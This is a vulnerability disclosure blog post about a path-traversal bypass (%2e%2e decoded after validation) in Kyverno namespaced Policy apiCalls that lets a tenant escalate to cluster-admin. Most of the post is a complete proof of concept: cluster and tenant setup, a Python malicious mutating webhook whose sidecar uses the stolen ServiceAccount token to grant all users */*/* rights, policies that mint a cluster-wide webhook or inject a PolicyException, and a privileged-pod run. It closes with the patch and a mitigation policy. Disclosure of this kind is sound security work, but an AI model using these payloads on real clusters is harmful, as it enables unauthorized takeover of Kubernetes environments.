← all posts
kubernetes GHSA-5qq8-67g6-4h2w Critical · 9.9

Incomplete fix of an incomplete fix: admin privilege escalation via Kyverno Policy

tl;dr

I found a vulnerability in Kyverno where a namespace tenant who can create a Policy can act as Kyverno’s admission-controller ServiceAccount anywhere in the cluster, escalating to cluster-admin. Parser differential type of bug: good old %2e%2e is invisible to the validation parser and gets decoded on action.

While I was writing the blogpost, I asked my Claude harness to double check for bypasses, and it just found one.

And this is beside the second vulnerability I reported 3 months ago, reading cluster-wide resources through a Policy. Still unfixed in the new version. So, yeah.

Until the patch, I will disclose only the publicly available bypass, not the bypass of the bypass.

01

On Kyverno

Kyverno is an admission policy engine for Kubernetes which I personally recommend. It has normal cluster-wide policy, and also has namespaced policy. Normally the security team blocks privileged workloads with cluster-wide policies and mutates away dangerous capabilities. Namespace-scoped policies are likely made to require labels and do image name validation.

One policy feature is dangerous in a tenant’s hands. It can send an authorized request into the k8s API server:

context:
  - name: pods
    apiCall:
      urlPath: "/api/v1/namespaces/tenant-ns/pods"

Auth is under the Kyverno ServiceAccount, which has a lot of admin access. Kyverno also lets apiCall use method: POST, so a policy can also create objects.

02

The bug

Let me start with the older vulnerability this grew out of, CVE-2026-22039. Back then a namespaced policy could POST a ClusterPolicy into existence cluster-wide, straight from one namespace:

  rules:
  - name: create-malicious-cpol
    match:
      resources:
        kinds:
        - ConfigMap
    context:
    - name: mutation
      apiCall:
        urlPath: "/apis/kyverno.io/v1/clusterpolicies"
        method: POST
        data:
        - key: apiVersion
          value: "kyverno.io/v1"
        - key: kind
          value: "ClusterPolicy"
        - key: metadata
          value:
            name: "malicious-cpol"
        - key: spec
          value:
            validationFailureAction: Enforce
            rules:
            - name: block-all
              match:
                resources:
                  kinds:
                  - Pod
              validate:
                message: "Blocked by malicious policy"
                deny: {}

The attempted fix was a check that the urlPath stays inside the tenant’s own namespace. Validation cleans the raw urlPath with path.Clean() and pulls the namespace out of the result with a regex:

cleanPath := path.Clean(call.APICall.URLPath)  // does NOT URL-decode
// regex extracts the namespace segment from the cleaned string
if ns != a.policyNamespace {
	return error
}

path.Clean() collapses .. segments, but it does not URL-decode.

So to path.Clean, %2e%2e is an ordinary path segment and allowed to be passed.

Then execution sends the untouched string:

data, err := a.Execute(ctx, &call.APICall)  // sends the RAW urlPath

and client-go percent-decodes %2e%2e back to .., so the k8s API server resolves the traversal. The request that actually leaves the pod points at a completely different namespace than the one the clamp approved.

urlPath as written:   /apis/.../namespaces/tenant-ns/%2e%2e/%2e%2e/mutatingwebhookconfigurations

what the clamp sees:  /apis/.../namespaces/tenant-ns/%2e%2e/%2e%2e/mutatingwebhookconfigurations
→ namespace "tenant-ns", allowed

what the server gets:  /apis/.../namespaces/tenant-ns/../../mutatingwebhookconfigurations
→ cluster-scoped collection
03

PoC

Cluster preparation (kind cluster, Kyverno, tenant RBAC)
kind create cluster --image kindest/node:v1.31.0 --name kyv-poc --kubeconfig ./kubeconfig
export KUBECONFIG=$PWD/kubeconfig

helm repo add kyverno https://kyverno.github.io/kyverno/
helm upgrade --install kyverno kyverno/kyverno --version 3.8.1 \
  --namespace kyverno --create-namespace --wait

# the tenant: a ServiceAccount with edit in its own namespace and create/get on Policy
kubectl create namespace tenant-ns
kubectl -n tenant-ns create serviceaccount tenant-sa
kubectl -n tenant-ns create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-ns:tenant-sa
kubectl -n tenant-ns create role tenant-policy --verb=create,get --resource=policies.kyverno.io
kubectl -n tenant-ns create rolebinding tenant-policy --role=tenant-policy --serviceaccount=tenant-ns:tenant-sa

# mint the tenant's token into a kubeconfig that carries only that identity
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant-ns create token tenant-sa --duration=24h)
cat > kubeconfig-tenant <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
  cluster:
    server: ${SERVER}
    certificate-authority-data: ${CA}
contexts:
- name: tenant
  context:
    cluster: kind
    user: tenant
    namespace: tenant-ns
current-context: tenant
users:
- name: tenant
  user:
    token: ${TOKEN}
EOF

From here, --kubeconfig=./kubeconfig-tenant is the tenant.

Attack Path A: mint a cluster-wide MutatingWebhookConfiguration

The plan: use the clamp bypass to POST a MutatingWebhookConfiguration cluster-wide, pointed at a webhook the tenant runs. That webhook intercepts pod creation everywhere, including kube-system, and rewrites pods into a privileged-escalation gadget.

1. Create malicious webhook

Which intercepts pods labeled hijack: cac, swaps their ServiceAccount to clusterrole-aggregation-controller (which holds escalate on ClusterRoles), and injects a sidecar that patches the system:basic-user ClusterRole to grant */*/* to every authenticated user.

# webhook.py
import base64, json, ssl
from http.server import BaseHTTPRequestHandler, HTTPServer

SIDECAR = {
    "name": "x", "image": "curlimages/curl:8.11.1",
    "command": ["sh", "-c",
        "T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); "
        "curl -sk -X PATCH -H \"Authorization: Bearer $T\" "
        "-H \"Content-Type: application/json-patch+json\" "
        "-d '[{\"op\":\"add\",\"path\":\"/rules/-\",\"value\":"
        "{\"apiGroups\":[\"*\"],\"resources\":[\"*\"],\"verbs\":[\"*\"]}}]' "
        "https://kubernetes.default.svc/apis/rbac.authorization.k8s.io/"
        "v1/clusterroles/system:basic-user; sleep 3600"]
}

def patch_for():
    ops = [
        {"op": "replace", "path": "/spec/serviceAccountName",
         "value": "clusterrole-aggregation-controller"},
        {"op": "add", "path": "/spec/containers/-", "value": SIDECAR},
    ]
    return base64.b64encode(json.dumps(ops).encode()).decode()

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        body = json.loads(self.rfile.read(int(self.headers.get("Content-Length", 0))))
        req = body.get("request", {})
        labels = ((req.get("object", {}).get("metadata", {}) or {}).get("labels", {}) or {})
        patch = patch_for() if labels.get("hijack") == "cac" else base64.b64encode(b"[]").decode()
        resp = {
            "apiVersion": "admission.k8s.io/v1",
            "kind": "AdmissionReview",
            "response": {"uid": req.get("uid", ""), "allowed": True,
                         "patchType": "JSONPatch", "patch": patch},
        }
        out = json.dumps(resp).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(out)))
        self.end_headers()
        self.wfile.write(out)
    def log_message(self, *a): pass

ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("/tls/tls.crt", "/tls/tls.key")
s = HTTPServer(("0.0.0.0", 8443), Handler)
s.socket = ctx.wrap_socket(s.socket, server_side=True)
s.serve_forever()

Self-sign a cert for the webhook Service DNS name and stage the source:

openssl req -x509 -newkey rsa:2048 -nodes -keyout tls.key -out tls.crt -days 2 \
  -subj "/CN=attacker-webhook.tenant-ns.svc" \
  -addext "subjectAltName=DNS:attacker-webhook.tenant-ns.svc"
CABUNDLE=$(base64 -w0 tls.crt)

kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns \
  create secret tls attacker-webhook-tls --cert=tls.crt --key=tls.key
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns \
  create configmap webhook-src --from-file=webhook.py

Deploy the pod and Service:

apiVersion: v1
kind: Pod
metadata:
  name: attacker-webhook
  namespace: tenant-ns
  labels:
    app: attacker-webhook
spec:
  restartPolicy: Never
  containers:
    - name: c
      image: python:3.12-alpine
      command: ["python", "/src/webhook.py"]
      ports:
        - containerPort: 8443
      volumeMounts:
        - name: tls
          mountPath: /tls
        - name: src
          mountPath: /src
  volumes:
    - name: tls
      secret:
        secretName: attacker-webhook-tls
    - name: src
      configMap:
        name: webhook-src
---
apiVersion: v1
kind: Service
metadata:
  name: attacker-webhook
  namespace: tenant-ns
spec:
  selector:
    app: attacker-webhook
  ports:
    - port: 443
      targetPort: 8443
kubectl --kubeconfig=./kubeconfig-tenant apply -f attacker-webhook.yaml

kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns \
  wait --for=condition=Ready pod/attacker-webhook --timeout=120s

2. Deploy the malicious Policy

Its apiCall POSTs a MutatingWebhookConfiguration (a cluster-scoped kind) through the clamp bypass. The urlPath reads as tenant-ns to the validator and resolves to the cluster-scoped collection on the wire.

kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<EOF
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: webhook-mint
  namespace: tenant-ns
spec:
  validationFailureAction: Audit
  background: false
  rules:
    - name: trigger-rule
      match:
        any:
          - resources:
              kinds: [ConfigMap]
      context:
        - name: created
          apiCall:
            method: POST
            urlPath: "/apis/admissionregistration.k8s.io/v1/namespaces/tenant-ns/%2e%2e/%2e%2e/mutatingwebhookconfigurations"
            data:
              - key: apiVersion
                value: "admissionregistration.k8s.io/v1"
              - key: kind
                value: "MutatingWebhookConfiguration"
              - key: metadata
                value:
                  name: "tenant-webhook-pwn"
              - key: webhooks
                value:
                  - name: "pwn.tenant.example.com"
                    admissionReviewVersions: ["v1"]
                    sideEffects: "None"
                    failurePolicy: "Ignore"
                    clientConfig:
                      service:
                        namespace: "tenant-ns"
                        name: "attacker-webhook"
                        path: "/mutate"
                      caBundle: "${CABUNDLE}"
                    rules:
                      - apiGroups: [""]
                        apiVersions: ["v1"]
                        operations: ["CREATE"]
                        resources: ["pods"]
      validate:
        message: "apiCall result: {{ created }}"
        deny: {}
EOF

# any ConfigMap create in tenant-ns fires the rule and the apiCall
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns create configmap trig2 --from-literal=x=y

# the webhook exists, and its field manager is kyverno, not the tenant
kubectl get mutatingwebhookconfiguration tenant-webhook-pwn \
  -o jsonpath='{.metadata.managedFields[0].manager}'
# kyverno

3. Trigger the webhook from a kube-system pod

This pod stands in for any kube-system pod the cluster spins up on its own; for this demo, create it manually as admin. The hijack: cac label just keeps the webhook to our demo pod (in reality you’d match wider or wait for a control-plane pod to restart). It gets rewritten by the tenant’s webhook:

apiVersion: v1
kind: Pod
metadata:
  name: sys-workload
  namespace: kube-system
  labels:
    hijack: "cac"
spec:
  restartPolicy: Never
  containers:
    - name: main
      image: curlimages/curl:8.11.1
      command: ["sleep", "3600"]
kubectl apply -f sys-workload.yaml
kubectl -n kube-system wait --for=condition=Ready pod/sys-workload --timeout=120s

The rewritten pod runs as clusterrole-aggregation-controller and its sidecar patches system:basic-user, so every authenticated user, the tenant included, is now cluster-admin.

4. Confirm

kubectl --kubeconfig=./kubeconfig-tenant auth can-i get secrets -n kube-system
# yep
kubectl --kubeconfig=./kubeconfig-tenant auth can-i create pod -n kube-system
# aha

Attack Path B: inject a PolicyException into the kyverno namespace

More stealthy approach, but will not work on every cluster out of the box.

PolicyException objects disable enforcing policies, and they only work when they live in a namespace the admins configured to allow them, which is likely kyverno itself. At least that is what I did on my clusters.

To show a policy getting disabled, I first stand one up. The classic one, blocking privileged containers:

curl -fsSL https://raw.githubusercontent.com/kyverno/policies/main/pod-security/baseline/disallow-privileged-containers/disallow-privileged-containers.yaml \
  | sed 's/validationFailureAction: Audit/validationFailureAction: Enforce/' \
  | kubectl apply -f -
kubectl wait --for=condition=Ready clusterpolicy/disallow-privileged-containers --timeout=60s

Now the tenant injects a PolicyException into kyverno that exempts their own namespace:

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: exception-injector
  namespace: tenant-ns
spec:
  validationFailureAction: Audit
  background: false
  rules:
    - name: trigger-rule
      match:
        any:
          - resources:
              kinds: [ConfigMap]
      context:
        - name: created
          apiCall:
            method: POST
            urlPath: "/apis/kyverno.io/v2/namespaces/tenant-ns/%2e%2e/kyverno/policyexceptions"
            data:
              - key: apiVersion
                value: "kyverno.io/v2"
              - key: kind
                value: "PolicyException"
              - key: metadata
                value:
                  name: "disable-disallow-privileged"
                  namespace: "kyverno"
              - key: spec
                value:
                  exceptions:
                    - policyName: "disallow-privileged-containers"
                      ruleNames: ["privileged-containers"]
                  match:
                    any:
                      - resources:
                          kinds: ["Pod"]
                          namespaces: ["tenant-ns"]
      validate:
        message: "apiCall result: {{ created }}"
        deny: {}
kubectl --kubeconfig=./kubeconfig-tenant apply -f exception-injector.yaml

kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns create configmap trig --from-literal=x=y

kubectl get policyexception -n kyverno disable-disallow-privileged \
  -o jsonpath='{.metadata.managedFields[0].manager}'
# kyverno

With the enforcing policy neutered for tenant-ns, the privileged pod the cluster was supposed to block now passes:

kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns run pwned-priv \
  --image=busybox --privileged --restart=Never --command -- sleep 600

kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns get pod pwned-priv \
  -o jsonpath='name={.metadata.name} privileged={.spec.containers[0].securityContext.privileged}'
# name=pwned-priv privileged=true

From a privileged pod you escape to the node, read the control-plane credentials, and you are cluster-admin.

04

The (incomplete) fix

Attempted fix in 1.19.1 (GHSA-5qq8-67g6-4h2w), commit 7ac176a. The patch decodes the path before cleaning it, so the check runs on the same string the API server will resolve:

unescapedPath, err := url.PathUnescape(call.APICall.URLPath)
if err != nil {
	unescapedPath = call.APICall.URLPath
}
cleanPath := path.Clean(unescapedPath)

url.PathUnescape turns %2e%2e back into .., path.Clean() collapses the traversal, and the existing namespace regex sees the real target.

That closes the %2e%2e bypass. But the patch only hardened validation, it is not a full fix.

05

Mitigation

I would want to say “upgrade to Kyverno 1.19.1 or later”, but no.

Do not allow creation of Policy with RBAC for non-admins, and/or block the kyverno namespaced policies with, … well, kyverno policy.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-namespaced-kyverno-policies
spec:
  webhookConfiguration:
    timeoutSeconds: 30
    failurePolicy: Fail
  admission: true
  background: false
  rules:
    - name: block-namespaced-policy
      match:
        any:
          - resources:
              kinds:
                - kyverno.io/*/Policy
                - policies.kyverno.io/*/NamespacedValidatingPolicy
                - policies.kyverno.io/*/NamespacedMutatingPolicy
                - policies.kyverno.io/*/NamespacedGeneratingPolicy
                - policies.kyverno.io/*/NamespacedImageValidatingPolicy
                - policies.kyverno.io/*/NamespacedDeletingPolicy
      preconditions:
        all:
          - key: "{{ request.operation }}"
            operator: AnyIn
            value:
              - CREATE
              - UPDATE
      validate:
        failureAction: Enforce
        message: "namespaced kyverno policy types are not permitted"
        deny: {}